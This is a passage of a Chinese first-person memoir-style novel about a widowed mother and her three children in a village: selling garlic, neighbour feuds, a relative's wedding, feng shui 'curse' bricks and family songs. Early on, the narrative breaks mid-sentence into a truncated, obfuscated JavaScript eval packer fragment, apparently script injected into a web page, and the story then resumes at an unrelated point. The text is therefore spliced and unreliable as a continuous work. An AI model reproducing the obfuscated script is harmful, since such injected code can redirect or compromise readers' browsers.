我尝了一下:“妈呀,恁么大的盐,鸿雁难道没数吗?肯定是他故意多放盐,让你吃不成,他好吃的!” “里头盐粒子都没化,都是生盐粒子。我不能吃生盐粒子,我一吃生盐粒子就干哕。”我妈妈说,“你放盐的时候没搁锅里拍拍啊?” “我没拍。”我说。 “我放盐的时候都是先拿铲子搁锅里拍拍。拍拍,盐粒子好化。”我妈妈说。 “好好的一盘子煎鸡蛋,就这样被破坏了。”我没好气地说。 “太咸了!我没法儿吃。”我妈妈说。 “那也不能倒了。咱娘四个儿,当咸菜吃了吧。”我说。 “行。”我妈妈说,“我的脚砍伤了,不能干重活儿,恁去立围子大姨家,让恁大姨夫来,帮咱卖蒜吧。” “我也去立围子大姨家。”小弟说。 “我也去。”小妹说。 我妈妈说:“恁姊妹仨一块儿去。” 立围子庄离凡庄很近,我们走着说着就到了大姨家。大姨家院子比我家宽敞,房子比我家漂亮,吃的也比我家要好得多。大姨留我们在她家吃饭,我们愉快地答应了。大姨家烧了红烧肉,青蛙肉,买了豌豆凉粉。 “哈哈!俺昨天夜里,跟恁姑姥娘一块儿,照着手电,去地里抓的青蛙。俺不爱护动物,炒青蛙肉吃!”大姨拿着筷子笑着说。大姨坐着吃饭,她的两条腿弯着,白白的大腿里子从肥大的裤筒子里露出来。我觉得大姨家父慈子孝其乐融融的,我蛮喜欢大姨家。 大姨夫开着拖拉机到我家来了,大姨夫长得高高壮壮,有魁梧的身材和古铜色的脸膛,一表人才,相貌堂堂。 “恁来了?大哥。” 我妈妈跟大姨夫打招呼说。我妈妈的脚破了,因为失血过多,她的脸色黄黄的,她一只手扶着板凳,坐在板凳上。 “来了,恁三姨。你没什么大碍吧?”大姨夫说。 “没什么大碍,大哥。麻烦你了。”我妈妈说。 “这点事儿,麻烦什么。”大姨夫说着,就一口袋一口袋地帮我们往拖拉机上搬蒜。我们也跟着帮忙扶着。搬完蒜,我们一起上了拖拉机,去镇上卖蒜。等到把蒜卖完,我妈妈要请大姨夫吃饭。 “吃点儿饭儿吧,大哥。”我妈妈说。 “行。恁三姨。”大姨夫说。大姨夫倒是没拒绝。 我们来到街边儿的一个小饭馆儿里,我妈妈点了一盘青椒肉丝,一盘花生米,一盘凉拌豆腐皮,一盘咸鸭蛋,外加两瓶啤酒,二斤煎饼。大姨夫喝酒,让我们先吃饭。我吃着香喷喷的饭菜,我妈妈也卷着煎饼面无表情地吃着。大姨夫一个人坐在我们对面,慢悠悠地喝着啤酒,一口菜也没吃。 我妈妈跟大姨夫说:“大哥,恁吃菜!” “我知道,恁三姨!”大姨夫答应着,还是不动筷子。他慢悠悠地喝着啤酒。 “我这个人就爱喝个啤酒,一喝酒就吃不下饭了。”大姨夫笑着跟我们说。我知道,大姨夫是舍不得吃我们的,都留给我们吃呢。这样的饭菜对于大姨夫家来说是稀松平常,对于我家来说可就是少有的改善生活了。 我觉得大姨夫劳苦功高,应该多吃点儿菜,可是大姨夫不吃,我也不知道该怎么劝他。我看看我妈妈。她不吭声儿,只顾吃她的。她是觉得既然大姨夫不吃,那就不用再劝呢,还是在心里盘算着今天这几个菜花了我们多少钱呢。算了,我还是个小孩儿,他们都不说话,我也不说话,我也就继续吃我的。 大姨夫回去了,我们也回到了家。 我跟我妈妈说:“妈,大姨夫怎么不吃菜的?那些菜都被咱娘几个吃了。” 我妈妈说:“这顿饭不便宜,花了咱十四块钱。光那煎饼就是五块钱的。” 我说:“我看俺大姨夫不吃菜,你不吭声儿,我也不敢吭声儿。” 我妈妈说:“恁大姨夫不吃就不吃呗,人家家里又不缺。” 那是我跟我妈妈唯一一次在外头吃饭,也是我妈妈唯一一次在外头花钱请我们吃饭。 “俺大姨夫长得蛮好看的,像《康熙微服私访记》里的康熙。”我说,“俺大姨除了白,我没看出来有多好看。” 我妈妈说:“恁大姨夫是事儿都听恁大姨的。恁大姨可厉害了,她跟她老婆婆吵架,把屎泼她老婆婆一身,恁大姨夫也不问。” “俺大姨跟大姨夫感情好,恁么大岁数儿了,还睡一头儿!”我弟弟说。 “你是怎么知道的?”我问我弟弟。 “俺跟笑笑去大姨家看到的。”我弟弟说。 “我喜欢去大姨家,大姨夫熬酱油的时候,把糖熬成糖稀。俺四姐要吃,大姨夫就使筷子捞起来给俺吃!”我妹妹说。 “恁大姨夫是卖的假酱油,立围子的人都卖假酱油。他们熬好了糖稀,装到提包里,到人家庄上买。”我妈妈说。 “他把糖稀装到提包里怎么卖啊?”我说。 “到了人家庄上河沟儿里,看看四下没人儿,就赶紧去把桶里灌上水,把熬好的糖稀放进去!”我妈妈说。 “那人家买酱油的到家以后能不知道啊?”我问,“人家知道了能跟他拉倒啊?” “卖完了赶紧跑啊!糖稀跟酱油的味儿也差不多。”我妈妈说。 “噢!”我沉思着,“那大姨夫卖的酱油能吃吗?都是河沟里的水儿,不脏啊?” “要说干净的话,你买的那些东西有多少是干净的?卖豆腐脑子的去呲泡尿,连手都不洗,就去给人家端豆腐脑子,谁知道?也就是眼不见为净是的。”我妈妈说。 “那俺大姨夫这样能挣到钱吧?”我说。 “谁知道来!恁大姨光埋怨恁大姨夫,嫌他挣钱不多,恁姑姥娘都是跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我妈妈每天早上四点多就起来炒菜,烧饭。她起来以后,就在我们屋门外头的石板上,拿着她不知道从哪里捡来的一块木板切菜。那块木板是人家从梧桐树上锯下来的,外面的树皮黑黑,里头的新茬泛白,长长的,像一块鱼鳍。那块木板宽度统共不到两扎长,放不了多少菜,我妈妈就一小把儿一小把儿地把菜拿到上头,慢慢地切。她烧锅的时候,舍不得用好柴禾,都是捡那些烂掉的碎渣渣烧锅,那些碎渣渣的柴禾烧不出旺旺的火,倒是制造了滚滚的浓烟。因此,我妈妈烧饭炒菜总是很慢,她虽然四点就起来,等她烧好饭要到八九点。要说的是,她只炒一个菜,比如豆橛子,只烧一个饭,那就是米饭。 我妈妈烧锅的时候,我们剥着蒜等着。 早上,我们一家子坐在我家西边儿的巷口子里吃饭。桌上的菜盘子里,炒了几片肉。住在我家前院的大恶心来了。 他瞅瞅盘子里的肉,跟我弟弟说:“来!鸿雁!给我筷子!我要吃肉!”说着,大恶心抢过我弟弟手里的筷子,就去碗里夹肉吃。 我弟弟碗跟前有一穗玉米。大恶心又拿过来啃了两口说:“嗯,这玉米真嫩,好吃!” 我妈妈正端着饭碗喝汤,那几块肉,她一直没舍得吃,留给我们吃的,她见被大恶心吃进了嘴里,心里的火腾地就起来了。 我妈妈是搂不住火的人。她没好气地跟大恶心说:“恁吃俺家的肉干什么的?恁自己家没有啊?” 大恶心说:“兴恁吃,就不兴俺吃的?恁没来的时候,俺天天来俺三婶家吃饭,俺三婶都不嫌。怎么你一来!俺就不能来吃了!” 我妈妈说:“恁三婶子养得起你,俺养不起你。恁家没有吗?非得到俺家来吃?” 大恶心突然温和地说:“三姐,恁家杀猪了?正好,我想吃猪肉。给我一块猪肉吧。” 我妈妈说:“俺不能给你!俺要卖钱给小孩儿交学费。恁想吃不能自己买吗?恁家种了二十几亩地,还雇着人给恁剥蒜,恁家又不是吃不起。” 大恶心说:“不是吃得起吃不起。说的是这个事儿!事在人为!以前俺三婶子杀猪,俺几家子,一家子一块就分了。自从你来了,俺就吃不上这里的东西了。” 我妈妈说:“恁一家子一块,俺还有吗?俺不能跟恁三婶子比。恁三婶子一个人,俺是娘四个。俺三个孩子得上学。” 大恶心说:“三姐,你给我一块猪肉,我高高地背着,从大西北到大东南,围着凡庄走一圈儿,满庄上的人都能看见。谁问我,我就说,是俺三姐给的。你看!多风光,多好看!” 我妈妈说:“你给我一块猪肉,我带到山东去,孝顺俺爹俺娘,更风光,更好看!” 大恶心说:“三姐,恁真是太小气了。人情礼节,你都不懂。以后跟你没法儿来往了。” 俺妈妈说:“恁不跟俺来往拉倒,俺饭都吃不上了,俺跟恁来往不起。” 大恶心说:“人家的事儿你都不去,等以后恁家有事儿,人家也不去!咱看看到时候恁怎么办!” 我妈妈不在乎这些,她说:“俺几个小孩儿以后结婚,俺也不大办。等我百年以后,俺几个小孩儿也不要麻烦旁人。姊妹几个把我火化火化,哪里有河,有汪,爱撒哪儿撒哪儿!” 大恶心一听这话生气了:“走!回自己家吃去!谁吃不起猪肉啊?我杠屁股使的都是卫生纸!” 大恶心抬起脚来回家去了。他的脚蹭在我家蒜堆上,从蒜堆上“刷拉拉”滚下来几头大蒜。大恶心“嘁哩咔嚓”,一脚一个,全踩在脚底下。一路踩着回家了。 我妈妈端着饭碗走到蒜堆旁,蹲下身来,把那掉下来的蒜捡起来,扔到蒜堆上。 我妈妈跟我们说:“这都是咱找恁凡伦三大爷帮咱去北乡买的蒜种。两块钱斤。蒜种可贵了。大恶心这是故意踩的。谁不凭良心咔嚓就死!恁都好好上学,上好了学少受气!” 我们吃完饭,就开始剥蒜。我妈妈剥蒜爱犯困。我经常看到我妈妈坐在那儿,手里还拿着一坨蒜呢,就打起盹儿来了。 我跟她说:“妈,你上铺睡会儿吧,你起地太早了。” 我妈妈说:“行!我去睡会儿。我四点钟就起了。”她放下手里的蒜,躺到铺上,一会儿就睡着了。她的铺就横在我们堂屋中间,横对着门儿。她躺地直直的。 不一会儿,我妈妈在梦里破口大骂:“养汉头将的!养汉头养的!” 这样的事儿在我家时有发生,我已经见惯不惊了。我知道我妈妈的肚子里受了太多的气,窝了太多的火儿。以她的脾气,不发泄出来是会憋出病来的。她一个寡妇,没有有权有势的丈夫,也没有七狼八虎的儿子。她忍受的窝囊气太多了。她活地太憋屈了。她的性格又不是那种能够天然地忍气吞声的,她的性格太刚烈。她只能在梦里骂出来。只能在梦里骂个痛快。 这以后,我家难得的有什么好吃的,我妈妈都是让我们躲起来吃。 一天,我妈妈烧饭的时候,在锅里煮了二十多个鸡蛋。她把鸡蛋捞上来,在冷水里浸了浸,装进一个大铁碗里,端给我们说:“去吧!姊妹几个躲到屋门后头,分分吃吧!别让大恶心来看到!” 我们端着鸡蛋,来到屋门后头,数了数,有二十多个鸡蛋。 “一人七个!”我弟弟说。我们剥了鸡蛋,躲在屋门后头吃起来。 立围子二姑姥娘家的四舅要结婚了,我妈妈带着我们去二姑姥娘家里吃饭。我们先到了立围子大姨家里。大姨大姨夫都去干活儿了,小四儿、小五在家。还有一个我没见过的小女孩儿,比小四儿高一头,文文静静的。 “这个是小三妹儿吧?我以前没见过你呢。”我说。 “是的,大姐!”小三妹儿说。 “俺三姐跟鸿雁哥一个年级。”小四儿说。 小三儿的年纪跟我弟弟差不多大。她长着一张瓜子脸儿,白皮肤,单眼皮,剪着一头短发。她不怎么爱说话,脸儿常常是低着的。她说话也是不显山露水的,看起来很实诚。 我说:“小三妹儿真白净,一看就很实诚。” 我小妹说:“俺三姐就是老实,实诚。” 小三妹儿听了这话,微微低着的头扬了一下,上嘴唇娇俏地抬了一下。 我说:“这跟排行也有关吧。前面有老大、老二,后头有小四、小五。小三妹儿被夹在中间。老老实实的。恁家大姐去哪了呢?” 小三儿说:““俺大姐跟着俺爸俺妈,到地里干活儿去了。” “俺二姐马上从上班儿的地方回来了。来喝俺四舅的喜酒。俺二姐也快结婚了。”小四儿说。 “哦,恁二姐的对象是哪儿的啊?”我说。 “俺不知道。搁可远的地方了。俺二姐夫有本事,给局长开车!”小四儿说。 “俺二姐长得可漂亮了。找的对象肯定好!”我妹妹说。 过了一会儿,大姨、大姨夫,和大妹妹也回来了。 “外甥女来了!俺干活儿刚回来。洗把脸。马上去前头吃饭!”大姨说。 大妹妹跟着大姨干活儿,脸蛋儿被晒地红彤彤的,她看起来就是个老实地道的农村姑娘,她去屋外洗了把脸,到屋里擦了一点雪花膏,准备去她姥姥家吃饭。 二妹妹从打工的地方也回来了,她是她们家最时髦的,也是最具光彩的。她穿着时髦的小褂儿和一条紧身的碎花小裤儿,脚上是漂亮的小高跟儿鞋,红红的嘴巴,脸上流光溢彩,头上的破浪卷儿溜光水滑儿。这是一个精致、绝美的小美人儿,她通体的气派,简直让她们家她们庄都蓬荜生辉了。 “二姐!”小五一头扑过去,搬着他二姐的腰,缠着他二姐不放。二妮儿被她弟弟纠缠着,她的小高跟鞋儿一时支撑不住,要东倒西歪了。我们一起朝姑姥娘家走去。 姑姥娘家大门口儿,搭着一个戏棚子。台上,一男一女在唱歌儿。 “正月里来,什么花儿开?” “正月里来,迎春花儿开。” “哥哥来!” “妹妹来!” “正登对呀么啷个儿啷。” 我看着那唱歌儿的一男一女,男的稍微年轻些,长得也算眉清目秀,只是有些放不开,女的是个面色粉红的中年媳妇,她拖着个红拖鞋,自然大方,驾驭舞台的能力比那个男的要强。 快到中午了,四妗子要到了。天地桌子摆了起来,桌子上燃起了红蜡烛,桌子腿儿上绑着一只大公鸡。四妗子到了,她穿着一身红棉袄,剪着短头发,闭着红嘴儿头子,一看就不爱说话。新媳妇儿没怎么被闹腾就进了洞房了。 洞房就布置在姑姥娘家的西屋里。我问我妈妈:“四妗子的洞房就在姑姥娘的西屋啊,姑姥娘家还是土墙的屋呢,四舅没盖新房吗?” 我妈妈说:“哪事儿哎,恁四舅跟恁四妗子不搁农村住,人家住搁城里。恁四舅跟恁四妗子搁一块儿上班,恁四舅不是正式的,就图恁四妗子是正式的,恁四妗子头脑好像有点问题。” 我说:“四妗子头脑有问题怎么还能上班的?” 我妈妈说:“恁四妗子娘家有人儿,人家姊妹几个都搁里头,都是正式的。” 我说:“我看俺四妗子要人有人儿,要个儿有个儿的,就是老实点吧。俺四舅矮矮的,我看他还配不上俺四妗子来。” 我妈妈说:“这话儿可不能当恁姑姥娘面儿说哈,恁姑姥娘恁大姨,都是姓金的大户,厉害!” 不一会儿,四妗子又被人引导着出来了,她一声儿不吭,皱着眉头,走到了姑姥娘家屋东头儿的茅房里,感情新媳妇要上厕所了。 我们看着四妗子大红的棉袄消失了。我妈妈说:“现在人都开通了,无所谓了,以前,大闺女出嫁都不敢多吃,怕路上上厕所。坐在轿里,大闺女说要上厕所,丢人吧,上哪上去。娘家怕她挨饿,都是早清起给煮几个鸡蛋。鸡蛋是好的,又挡渴,又挡饿,吃了还不容易上厕所。到了婆家也不出来。婆家来了那么多客,哪好意思啊。到了晚上,人都走了,才敢出来。” 我说:“那要是想上厕所怎么办?” 我妈妈说:“不是有娘家陪送的小尿罐儿吗。拿出来使是的。新媳妇头天晚上搁娘家就不出来了,新媳妇不能看娘家的星星,要是看了九女星吧,得生九个女孩儿才能生男孩儿。也不能看娘家的磨,碾是青龙,磨是白虎。看了容易出横事。恁几个姨出嫁,恁姥娘都是找个磨罩把磨给罩起来。” 7.“敌人的敌人就是朋友,敌人的朋友就是敌人。” 凡乐家盖了新宅子了,他家的新宅子超出了我家不少。新宅子盖好以后,凡乐又请了风水大师来给他看宅子。大师在堂屋里坐定,凡乐陪着喝茶。 大师出来看看两家的宅子,跟凡乐说:“东院的屋比恁家的矮,也比恁家的靠后。恁家处处占优先。就是有一点不好。” 凡乐瞪大眼睛问:“大师,你说是哪一点不好?” 大师说:“东院的宅子向阳,清起第一缕太阳最先照到她家东山墙上,恁家的宅子得到太阳要比她家晚。” 凡乐说:“那可怎么办?这该怎么破呢?” 大师说:“你找个良辰吉日,把恁家东山墙上的屋瓦揭下来一块,让太阳直晒七七四十九天,再把屋瓦盖上,上头压上两块砖头。这样东院的运势就被恁家给压住了。” 凡乐说:“行。我一切照办。大师,恁再给我看看这个下房,我家这个下房没什么毛病吧?” 大师说:“恁家的下房啊。有点青龙压白虎。尽量不要住人。” 凡乐说:“不住人!不住人!就拿它当厨房,做饭,囤柴禾。” 凡乐的女人煎炒烹炸,请大师吃饭,她家的盘子不够使,凡乐女人穿着围裙,跑步去大恶心家借盘子,又跑步回家。凡乐家那天大开宴席,又吃又喝,热热闹闹地把大师给送走了。 不久以后,凡乐家的东山墙上多了两块砖头。什么时候压上去的,我们也不知道。反正我们看到的时候,那两块转头就在他家东山墙上了。 我妈妈站在巷口子里,看了看那两块砖头说:“他家使了镇物了。坏!害人如害己,害来害去害自己。咱娘几个有老天保佑。谁也害不了咱。” 这一年,恰巧大姨来我家,给我弟弟看病。 我大姨给我弟弟看了看,说:“这小孩儿是童子下凡,怕是不牢靠,得编锁子,还得‘培根儿’”。 我妈妈问:“大姐,怎么编锁子啊?” 我大姨说:“你找一辈子没结过婚的小老头儿,要几个一毛钱的硬币,再找十二家人家,每家要一根线,集齐了硬币和线,我再给你编锁子。这个有讲言的,得鸿雁亲自来。你先在恁家种棵小松树吧。” 我妈妈说:“大姐,小松树种在哪儿?” 我大姨说:“就种在鸿雁住的东屋窗户下。” 我妈妈低声儿跟我大姨说:“大姐,你不是会看宅子嘛,你给俺家看看宅子吧。你看看俺西院儿家的东山墙上,那两块砖,砖头尖儿正对着俺家西山墙,不会主俺娘四个不好吧?凡乐请的风水师!专意儿来害俺娘四个的。” 大姨来到凡乐家的东墙根下头,看了看说:“没事儿。相由心生,福由心造。人心眼儿太坏了不好。心是最大的风水。太阴损了,就算是盖在龙脉上,他也当不了皇帝,那风水早就让他给破了。要是心眼儿好了,就算是万箭穿心的风水,也会因为主家的善心,转变成莲花宝地,要不怎么说,时来运转呢。” 凡乐家当时还没拉院墙,两家人各自进进出出,什么都尽收眼底。凡乐家的,老是想欺负我妈妈。凡姓的女人跟凡乐家的都是十几年的老交情,又都是本家,所以,人家到了一起特别亲香。凡姓的女人经常三五成群到凡乐家门前,跟她说话。 一群女人咯咯唧唧,说上半天。忽而声儿大,忽而声儿小。我妈妈坐在天井里,补着化肥袋子。种蒜要用化肥袋子装,时间长了,那些化肥袋子都磨出了一个个的大窟窿。我妈妈没事儿的时候就去补那些破袋子。 “那天,俺去给二丫送朱米,坐在拖拉机上,把一根手指头给挤掉了。”凡姓一个妇女说。 “你看看!这路上就得去医院。” “就说的,路上就得去医院。他爸爸开着拖拉机直接进了医院。” “那可是,得缝针!” “缝了四针!” “后来,俺二丫来送节礼,我的手还没好来!” 这是她们大声儿说话了。她们大声说话,我们也能听得到。我们也觉得有意思。尽管,我们跟谁也不去送朱米,送节礼。 “娘啊,吓人吧。坐拖拉机把手指头挤掉了。”我妈妈跟我说。 过了一会儿,她们又开始嘁嘁喳喳地说话了,这回是避着我们,怕我们听到呢。我们又狐疑起来。是不是议论我家呢。我家值得她们议论的事太多了。想必她们在背后没少说道吧。 “敌人的敌人就是朋友,敌人的朋友就是敌人。姓凡的那些女人搁一块儿,嘁嘁喳喳的,哪有说咱好话的。”我妈妈缝着袋子跟我们说。 凡姓的一群女人说说话,到了晌午,也就散了。 “回家吃饭去!”她们走了。 凡乐的女人也回家做饭。凡乐的女人刷刷锅、洗洗碗,摔摔打打,指桑骂槐:“没人跟她一块儿玩儿喽,没人理喽!” 我妈妈也不一味儿忍让,也比猫比狗的骂回去:“去!你个小死狗儿!我才不稀罕你来!” “打地一拳开,免得百拳来!”我妈妈跟我们说,“人是斗志,不是让志。光让就行了?你越让,人家越扼你。” 我妈妈信奉毛主席语录。 常来我家的是东庄的二大娘。二大娘已经七十多了,跟我姥姥年纪差不多。二大娘虽然也姓凡,但她家跟凡乐家房分远,不是仗势欺人的那个“凡”,她很同情我妈妈的遭遇,跟我妈妈友好相处了这些年。 二大娘是个驼背,她来我家的时候都是拄着拐棍儿,穿过“二蛮子”家屋后头那些草稞子,一路披荆斩棘地来到我家。 跟我妈妈亲香的人,我也觉得亲香。 我大老远就看到了她。我远远地朝着她喊:“二大娘来了!” “来了,恁大姐!”二大娘答应着,“大姐今天放假了?” “是的,二大娘。今天放假。”我说。 “二嫂子来了!快来坐坐!”我妈妈也满面春风地跟她打招呼。 二大娘就坐在屋里跟我妈妈说话。有时候,她们就一起倚在我家西夹道子的墙上,靠着凡乐家的东山墙说话。 “穷来难,穷来难。猪来挤来狗来嫌!”二大娘皱着眉头说。二大娘长得很白,一张圆脸大大的,留着二道毛子的头发。她因为弯腰驼背,经常气喘吁吁,时间长了就眯着眼,张着嘴喘气。 “穷了难,二嫂子!人家恨不得一下就把咱夹死,两下把咱挤死。”我妈妈说。 “唉!我那时候吧,还受老婆婆的气。”二大娘说。 “恁二哥,天天不干活儿,什么都是我干。他就跟他娘一块儿,就这样,一门旁一个儿,对着脸儿坐着。他娘拿着张照片儿给他看,‘你看这个大闺女好吧?’‘好!娘,这是谁啊?’‘这就是我!’‘哦,这就是你啊!娘!’‘就是我!’”二大娘学着她婆婆的样子说。 我妈妈听了哈哈大笑。笑出了眼泪。 “我就喜笑,二嫂子。笑一笑,十年少。”我妈妈擦着眼泪说。 二大娘说:“我天天干活儿,吃不上,喝不上。等她闺女来走娘家要回去的时候,俺老婆婆就来对我说,‘恁家姑娘要回老婆婆家了,恁有什么东西给她带吗?’哦,跟我称呼她闺女,都是‘恁家姑娘’。我说,‘带什么啊?要不,把俺那块肉给她带上?’‘那行!’俺老婆婆说。一听给俺小姑子带东西,俺老婆婆可高兴了。” “都给恁小姑子了,恁几个孩子吃什么了?可怜!”我妈妈说。 “不给不行。恁二哥向着他娘,他姐。不给他就打。打地我钻到床底下,他从床底下把我掏出来,再接着打。他娘也不拉架,还跟着刚火。”二大娘想起来年轻的时候受的罪,又皱着眉头说。 “恁二大娘年轻的时候,可挨了恁二大爷的打了。”我妈妈说,“夫妻!无冤无仇不做夫妻!” “现在二大爷不打俺二大娘了吧?”我说。 “现在不打喽!现在知道老伴儿好了。天天给我冲个鸡蛋茶喝喝。知道疼我了。”二大娘说。 “恁二大娘信耶稣,恁二大爷天天骑着三轮车去送去接。恁二大娘腰不好,不能走路。都是他年轻的时候折腾的。”我妈妈说。 “二大爷长得蛮好看的。”我说。 “恁二大爷年轻的时候,一表人才。高高的,煞白!”我妈妈说。 “俺二大娘也白。”我说。 “我白!”二大娘说,“恁妈妈才白!恁妈妈可怜的,口攒肚挪的,吃不上喝不上,手指盖子都空壳了,瘪了。恁以后长大了好好孝顺恁妈妈。多给恁妈妈买点好吃的好穿的。” “咱都年纪大了,穿那么好干什么,二嫂子。”我妈妈说,“等恁长大了,不要给恁妈买衣裳,恁妈这辈子就肚子亏了。有钱给恁妈买点吃的是真的。” “是的。我也不买衣裳。我的衣裳都是俺家恁几个姐买的。”二大娘说。 “恁几个长大了,都不要忘了恁二大娘。有什么好吃的好喝的给恁二大娘送点儿。”我妈妈说。 等二大娘走了以后,我妈妈跟我说:“恁二大娘来咱家,都不敢走大路。都是走小路。怕凡乐家的人看到了,骂人家。” 我说:“俺二大娘来咱家又不碍她的事,她骂俺二大娘干什么的?” 我妈妈说:“嫉妒!人家都巴望着旁人都跟她好,都别跟咱好。凡乐家的要是看到有人跟咱好,她不难过吗?敌人的敌人就是朋友!敌人的朋友就是敌人!” 我家跟凡乐家之间的巷口子南北通透又通风,我们三个常在巷口子那里玩。早上,我妈妈还在锅屋里烧着锅的时候,我们就站在巷口子里读书、唱歌。 “大江大水天自高呀,眼睛该点亮了。 人生得意莫言早呀,是非论断后人道。 轻舟穿江两岸笑看山河绕,儿女情长梦醒又一朝。 西北东南人间风波不少呀,平常心看待才好。 谁负谁胜谁能一眼明了,浮云世事最难料。 春夏秋冬世道有高低潮呀,计较太多人易老。 何不共苦同欢尽心就好,人生就怕知己少。” 我说:“这首歌的歌词真好!” 我弟弟说:“全天底下,最好听的就是这首歌了。” 我说:“《戏说乾隆》是咱在山东的时候,搁人家家里看的。笑笑太小,不记得了,这首歌,她不会唱。” 我妈妈从锅屋里走出来,边拿着手巾抽打肩上的灰,边看着我妹妹说:“笑笑,大姊妹俩唱,你也唱。你也有你的唱儿,你唱《小孔雀》!笑笑不但会唱唱儿,还会跳舞呢!” 我妹妹就开始唱起她的歌,边唱边跳: “小孔雀真美丽,抖开满身花花衣。 她要和我比一比,看谁穿得最美丽。 阿罗哩,阿罗哩,阿罗哩哩,阿罗哩。 小孔雀我告诉你,好孩子个个有志气。 不比穿戴比学习,看谁成绩得第一。 阿罗哩,阿罗哩,阿罗哩哩,阿罗哩。” “咦!好听好听!”我妈妈笑着说,“唱《小螺号》!” 我妹妹又接着唱: “小螺号,滴滴滴滴吹,海鸥听了展翅飞。 小螺号,滴滴滴吹,浪花听了笑微微。 小螺号,滴滴滴吹,声声唤船归啰。 小螺号,滴滴滴吹,阿爸听了快快回啰。 茫茫的海滩,蓝蓝的海水,吹起了螺号心里美吔。” 我看着我妹妹快快乐乐地唱歌。心里莫名地升起一种悲哀来。她是真的没有一身花花衣,她也没有一个那么好的阿爸,可以不死,来好好地爱她,守护她。她的歌儿唱地真美,可是,甭管她怎么喊“爸爸”,她的爸爸都不会回来了。 可是我的妹妹,她失去父亲的时候,她的年龄还太小,她什么都不知道。她不知道有什么烦恼,就知道成天唱歌、跳舞,画画、欢笑。 我看着妹妹的笑脸,那张干净的鹅蛋形的脸上,有洁白的牙齿和开心的笑容。有一阵子,我总感觉我妹妹的笑脸像一个明朗阳光的男孩子。都说女儿长得像爸爸。年轻时候的爸爸就是这样的吧。以前的爸妈,以前的家,总是如诗如画。为什么,到了南乡以后,所有的诗情画意都没有了。不过,我有些知道为什么爸爸去世以后,妈妈不哭不倒的原因了。因为她有爸爸留下来的孩子,这些孩子是他的亲骨肉啊。有了这些孩子,就像爸爸在身边一样,给她温暖给她欢喜。这也许也就是生儿养女的另一重意义。 我妈妈说:“恁唱‘什么害庄稼’!那首歌好,那首歌是教育人的。” 我们就开始唱。 “什么害庄稼呀?” “蚂蚱!” “为什么不抓它呀?” “蹦达!” “因为它呀长了四条腿啊,一抓一蹦达呀。” “小孩子不听话呀。” “惯的!” “长大了要犯法呀。” “哎呀!” “扰乱治安不安宁啊,恨他都咬牙呀。” “今天他偷了一块砖呐。” “小事儿!” “明天他把墙扒呀。” “能干 !” “当父母一个劲儿地夸呀,越夸他越胆大呀。” “一旦他犯了法呀。” “哎呀!” “政府把他抓呀。” “坏了。” “爹娘心疼为他把钱花啊。东家求西家呀。” “法律是最无情啊。” “正确!” “谁敢去碰它呀 !” “不错!” “进了监狱失去自由啊。你后悔也白搭呀!” 我们就这样热热闹闹欢欢乐乐了起来。 起风了,天色昏黄了下来。一根甘蔗段似的玉米秸,在院子里出溜出溜地打着转儿。随着风盘旋。 我妈妈看看天说:“天黄有雨,地黄有霹。我看天恁么黄的?别要下雨了吧。咱把咱的屋缮缮吧。省的下雨天漏雨。” 我们说:“好啊!” 我妈妈说:“我吃完饭,去把我噶地那些柴禾摊开晒晒。等傍晚的时候,咱去缮屋。” 下午,太阳收起它的余晖的时候,我妈妈去河边上捆柴禾去了。我们也跟着去。我们帮着妈妈把那些柴禾捆成草个子,按到粪箕子里头,再用脚使劲儿踩踩,直到装满了粪箕子。 我妈妈说:“恁都起来。别把恁身上弄脏了。我背回去。”我妈妈说着,弯下腰背起粪箕子,我们跟着她一起往家里走去。 我妈妈边走边说:“恁还是小孩儿,不能背,压着个子,就不长了。” 粪箕子上的柴禾不停地从妈妈的粪箕子上滑下来,一根根、一簇簇地掉在路上。 我妈妈说:“恁前头走!别跟着我碍事!” 我们赶紧超过我妈妈,往家里走去。等我们到了天井里的时候,我妈妈还没到家。我们就站在院子里,等着她。 我妈妈背着满满的一筐子柴禾走过来了。那框柴禾还是很重的,她被压地弯腰撅腚,眼瞪地大大的,像是在跟谁生气似的。我的妈妈她很坚强,即使背负着这么大的压力,她也紧闭着嘴唇。她只瞪大了眼睛,从她的眼睛里,我看到了沉重和坚定。那框柴禾,她必定要背着的。正如她三个孩子,她必定要背着。她默默地背着,朝我们走来,一声不吭。只瞪大了眼睛。 是的,我回忆起我妈妈的时候,她常常是背着粪箕子的。 我妈妈背着满满一粪箕子的柴禾朝我们走来,朝着这个世界走来。她从落满柴禾碎屑和草种子的草稞子里走来,从落满暮色的小路上走来,从我们出生的世界一直走到我们长大了的世界。她作为一个生命,朝着这个世界走来,她为了我们这几个生命,朝着这个世界走来。 她是一个娘,她是我们的娘。 我妈妈到家以后,把粪箕子里头的草个子卸下来。 她笑着跟我们说:“恁谁敢上去啊?” 我弟弟说:“我!我敢上去!” 我说:“我上!我见过俺爷爷缮屋。” 我妈妈说:“恁谁都不要上去。我上去。恁细胳膊嫩肉的,摔着了,可不得了。我上去,恁给我往上递草个子。” 我妈妈爬上屋顶,我们帮她往屋顶上撂草个子。我妈妈把那些个草个子盖在屋顶上,按按,铺平。我们一边撂,她一边铺。我妈妈到底不是缮屋的料,她缮地屋比我爷爷缮地屋差远了。我记得我爷爷缮屋的时候,有一个专门儿用来缮屋的带把儿手的木板子,跟个小板凳似的,他拿它来把那些麦秸按一按,平一平。我妈妈没有缮屋的工具,她就那么东一个西一个地把草个子扔上屋顶,算是把屋顶给铺了一下。 傍晚,起风了。傍晚的风很冷很大。可是有了这些草个子,我们的心里变得暖和多了。 18. 青羊山高中 1.《星的遐想》 春燕姐要结婚了,我放学回家,没有看到我妈妈,她去春燕大姐家帮忙去了。我来到春燕大姐家里。春燕大姐家的天井里支着一口大锅,锅底下架着木柴,我妈妈在锅门口坐着。凡敏大娘在灶台边站着,笑着。凡敏大娘脸上照旧是满面红光。她大眼睛双眼皮,洁白的牙齿,说起话来满面春风。 我妈妈坐在锅门口烧着锅。她穿着人家给的一件带拉链的发白的夹克。 不知道因为烟熏火燎,还是因为我家最近生活太差,没有油水,还是因为我家一如往常地生活压力太大,我觉得我妈妈像一个即将圆寂的长老,眼神迷离,形容枯槁了。她的眼珠子突出来,眼眶子凹陷下去。 我喊了一声:“妈妈!” 我妈妈木然地转过头来,看看我:“哎!回来了!” 